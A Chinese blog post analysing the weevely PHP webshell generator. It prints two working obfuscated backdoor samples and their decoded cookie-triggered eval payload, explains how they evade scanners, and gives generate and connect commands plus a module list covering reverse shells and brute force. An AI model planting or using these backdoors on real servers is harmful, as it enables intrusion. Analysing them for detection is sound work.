为了账号安全,请及时绑定邮箱和手机立即绑定

PHP后门生成工具weevely分析

标签:
PHP

最近闲的蛋疼,玩了下weevely这个工具,感觉还是蛮强大的,防查杀,连接也是加密的。感兴趣的朋友看正文吧。

0x01 摘要

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

在本篇文章中,将针对其所生成的PHP后门进行分析,浅析其绕过后门查杀工具的原理,以及其运行与客户端交互的执行过程。

0x02 后门代码分析

先看下这个工具在相同条件下生成的两个后门的代码,

backdoor1.php

1<span style="color:rgb(0,176,80);"><!--?php <br>$jr<br>=<br>"e2luaVay9zZXQoJ2Vycaym9yX2xvayZycsayICaycvZGV2L251bGwnKTsaykayaayz0nayc3QnO2VjaG8aygJzwnLiRrLic+Jzt"<br>; <br>$pxn<br>=<br>"ldmayFaysKayGJhcay2U2NF9kZWNvZGayUocHJlZ19yZXBsYWNlKGFycmF5KCcvW15cdz1cc10vJywnL1ayxzayLyaycpLCBhcnJheSgn"<br>; <br>$gip<br><br>= <br>str_replace<br>(<br>"b"<br>,<br>""<br>,<br>"bsbtbrb_rebplbabcbe"<br>); <br>$pjp<br>=<br>"JyaywnKyaycaypLCBqbay2luKayGayFycmF5ayX3NsaWNlKCRhLCRjKCayRhKSay0zKSaykpKSk7ZayWNobyayAnPC8nLiRrLic+Jzt9"<br>; <br>$esx<br>=<br>"JayGM9Jay2NvaydW5ay0JzayskYT0kX0NPT0aytJRTtpZihyZXNlaydCgaykYSk9PaySd0ZScgJiayYgJayGMoJGEpPjMpay"<br>; <br>$ld<br><br>= <br>$gip<br>(<br>"bh"<br>, <br>""<br>, <br>"bhbbhabhsbhebh6bh4bh_bhdbhebhcobhde"<br>); <br>$zjr<br><br>= <br>$gip<br>(<br>"h"<br>,<br>""<br>,<br>"hchrhehahthe_fhuhnhchthihohn"<br>); <br>$oj<br><br>= <br>$zjr<br>(<br>''<br>, <br>$ld<br>(<br>$gip<br>(<br>"ay"<br>, <br>""<br>, <br>$esx<br>.<br>$jr<br>.<br>$pxn<br>.<br>$pjp<br>))); <br>$oj<br>(); ?--></span>

backdoor2.php

1<span style="color:rgb(0,176,80);"><!--?php <br>$poj<br>=<br>"GJhc2U2NFcgh9kZcghWNvZGUocHJlcghZcgh19yZXBsYWNcghlKGFycmF5KCcvW15cdz1cc10vJywnL1xzLycpLCBhcnJheSgncghJy"<br>; <br>$qir<br>=<br>"JGM9J2NvdW50JzskcghYT0kX0NcghPT0tJRTtpZihyZXNldCgkYcghSk9PSd0ZScgJiYgJcghGMoJGEpPjMpe2luaVcgh"<br>; <br>$eg<br><br>= <br>str_replace<br>(<br>"j"<br>,<br>""<br>,<br>"sjtrj_jrjejpjljajcje"<br>); <br>$sh<br>=<br>"wnKycpLCBqb2luKGFcghycmF5X3NcghscghaWNlKCRhLCRjKCRhKS0zKSkcghpKSk7ZWNobyAcghnPC8nLiRrLic+Jzt9"<br>; <br>$cfw<br>=<br>"9zZXcghQoJ2Vycm9yX2xvZycsICccghvZcghGV2L251cghbGwnKTskaz0nc3QcghnO2VjaG8gJzwnLiRrcghLic+JztldmFsK"<br>; <br>$pf<br><br>= <br>$eg<br>(<br>"z"<br>, <br>""<br>, <br>"zbzazse6z4_zdzezcozdze"<br>); <br>$wvu<br><br>= <br>$eg<br>(<br>"w"<br>,<br>""<br>,<br>"cwrwewatwew_wfwuwnwcwtwiwown"<br>); <br>$qfr<br><br>= <br>$wvu<br>(<br>''<br>, <br>$pf<br>(<br>$eg<br>(<br>"cgh"<br>, <br>""<br>, <br>$qir<br>.<br>$cfw<br>.<br>$poj<br>.<br>$sh<br>))); <br>$qfr<br>(); ?--></span>

对比两篇代码,首先发现变量名不同,说明变量名是随机生成的,通过多次的生成查看,能够确定变量名是有两到三个随机字符组成的(不包含下划线)。


下面我们通过backdoor1.php代码来看下,后门程序执行的过程。


首先定义$jr和$pxn的字符串变量,然后通过str_replace函数去除“bsbtbrb_rebplbabcbe”字符串中的b,赋给$gip,即$gip=str_replace。在此之后,调用str_replace函数时,均用$gip来代替,这样做的目的应该是避免多次出现str_replace,从而导致查杀程序关注。在对比一下backdoor2.php,发现在backdoor.php中这条语句,用“j”代替了“b”,说明这个间隔字符也是随机生成的。

再向下面看,定义$pjp和$esx字符串变量后,通过前面说的$gip变量执行str_replace函数功能,赋$Id值为base64_decode,赋$zjr值为create_function。和之前的$gip变量一样,间隔字符也是随机生成的。


最重要的就是最后的这一行代码了,之前的内容都是来为这行的执行进行准备的。我们来分析下它的内容


$oj = $zjr('', $ld($gip("ay", "", $esx.$jr.$pxn.$pjp)));

先将前面我们分析过的变量对照这句中进行下转换

$oj = create_function('', base64_decode(str_replace("ay", "", $esx.$jr.$pxn.$pjp)));

四个字符串变量的内容太长了,自己一个个去找太麻烦了,我修改了下代码,添加这样一条语句

print base64_decode(str_replace("ay", "", $esx.$jr.$pxn.$pjp);

代码内容如下

$c='count';$a=$_COOKIE;if(reset($a)=='te' && $c($a)>3){ini_set('error_log', '/dev/null');$k='st';echo'<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}

执行过程为,通过赋予$c值为count,为后面执行count函数做准备,然后提取客户端提交的cookie内容赋给$a。通过判断cookie中第一个内容值是否为te,且cookie内容是否大于3。符合条件则,设置错误日志不保存,定义$k值为st,作为返回数据的开始和结束标识。然后对cookie的倒数第3条内容进行组合和正则替换,下面通过从Wireshark抓取的一条交互数据来说明执行过程。

抓取的cookie数据内容为

PREF=te; USR=mCvD4rtLQ7ngeBvD; SID=c3lzd&GV; SESSID=?t@K-Cdp; USRID=ZCAyP-i/Yx#J-y?k7

执行过程中将SID,SESSID,USRID的值合并为

c3lzd&GV?t@K-CdpZCAyP-i/Yx#J-y?k7

通过正则替换将非字母数据剔除,空白符数据用“+”替代得到内容:

c3lzdGVtKCdpZCAyPiYxJyk7

base64解密后内容为“system('id 2>&1');”,之后eval执行这条语句,也不用再说什么了。

代码分析到这里也就差不多了,稍微要提一下的是,我在生成这个PHP后门时,密码设置的是test,所以他在代码中它会校验cookie第一个内容的值是否为te。但是,如果输入tes这样的内容当做密码来连接后门时,会出现错误。抓包分析了下,应该是客户在连接的过程中会有一个加密校验的过程,这个过程是怎么进行的,能力有限,分析不出来。不过可以肯定的是,这个程序生成的后门即使有人得到了我们的PHP后门代码,他们也不能使用。

0x03 Weevely使用方法简介

1.生成PHP后门

./weevely.py generate test ~/backdoor.php /* 这句话的意思是生成一个密码为test的后门文件并保存为用户目录中的 backdoor.php。路径信息也可以省略,如果省略生成文件则放在当前所 在目录下 */

2.连接后门

./weevely.py http://127.0.0.1/backdoor.php test

3.应用内置模块

这里以上传文件为示例,在连接成功后的shell中输入

:file.uplaod /root/exploit.c exploit.c

/*其中第一个参数为本地文件路径(要用绝对路径),第二个参数为远程路径*/

0x04 总结

1.Weevely比较明显的局限性在于,他只能生成PHP的后门文件

2.加密连接过程要依赖于客户端。如果在未知密码的情况下,获得后门文件,可以针对这个后门文件自己编写一个简单的客户端,无需密码,也可连接这个后门

3.检查这种类型的后门难度很大,全篇代码中只出现过一个str_replace函数的使用,其他的函数都是通过变量整合的方法来调用。而且敏感的字符串都会通过随机字符串进行间隔,很难找到其特征,唯一的方法就是从行为上分析,文件是否有害。

0x05 模块功能

模块功能:
系统                                
        system.info   //收集系统信息        
文件                                
        file.read        //读文件
        file.upload        //上传本地文件        
        file.check        //检查文件的权限和
        file.enum        //在本地词表的书面枚举远程文件
        file.download        //下载远程二进制/ ASCII文件到本地
SQL                                
        sql.query        //执行SQL查询
        sql.console        //启动SQL控制台
        sql.dump        //获取SQL数据库转储
        sql.summary        //获取SQL数据库中的表和列
后门                                
        backdoor.tcp                //TCP端口后门
        backdoor.install        //安装后门
        backdoor.reverse_tcp        //反弹
枚举                                
        audit.user_files        //在用户家中列举常见的机密文件
        audit.user_web_files        //列举常见的Web文件
        audit.etc_passwd        //枚举/etc/passwd
查找                                
        find.webdir        //查找可写的web目录
        find.perm        //查找权限可读/写/可执行文件和目录
        find.name        //按名称查找文件和目录
        find.suidsgid        //查找SUID / SGID文件和目录
暴破                                
        bruteforce.sql                //暴力破解单一SQL用户                
        bruteforce.sql_users        //暴力破解SQL密码
        bruteforce.ftp               // 暴力破解单一FTP用户        
        bruteforce.ftp_users        //暴力破解FTP密码



点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消